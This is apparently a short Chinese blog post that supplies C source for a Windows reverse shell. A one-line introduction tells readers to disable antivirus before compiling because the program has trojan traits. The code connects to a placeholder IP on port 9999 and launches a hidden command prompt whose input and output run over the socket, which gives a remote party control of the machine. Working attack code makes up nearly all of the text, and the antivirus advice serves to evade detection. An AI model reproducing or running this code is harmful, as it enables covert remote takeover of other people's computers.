编译前要关闭杀毒软件,否则可能被杀。因为这个程序有木马特征大笑,但技术是无罪的惊讶

#include <stdio.h>
#include <Winsock2.h>


#pragma comment (lib,"ws2_32.lib")

int main() 
{
	WSADATA data;
	WSAStartup(MAKEWORD(2, 2), &data);
	
	SOCKET s;
	SOCKADDR_IN sin;

	TCHAR cmdPath[MAX_PATH] = { 0 };
	GetEnvironmentVariable(L"COMSPEC", cmdPath, MAX_PATH);

	s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

	sin.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");
	sin.sin_family = AF_INET;
	sin.sin_port = htons(9999);
	int size = sizeof(sin);
	bind(s, (SOCKADDR*)&sin, size);

	PROCESS_INFORMATION pro;
	STARTUPINFO upinfo;
	ZeroMemory(&pro, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&upinfo, sizeof(STARTUPINFO));

	upinfo.cb = sizeof(STARTUPINFO);
	upinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	upinfo.wShowWindow = SW_HIDE;
	upinfo.hStdInput = (HANDLE)s;
	upinfo.hStdOutput = (HANDLE)s;
	upinfo.hStdError = (HANDLE)s;
	
	connect(s, (SOCKADDR*)&sin, size);
	CreateProcess(NULL, cmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &upinfo, &pro);
	WaitForSingleObject(pro.hProcess, INFINITE);
	CloseHandle(pro.hProcess);
	CloseHandle(pro.hThread);
	closesocket(s);
	WSACleanup();
	system("pause");
	return 0;
}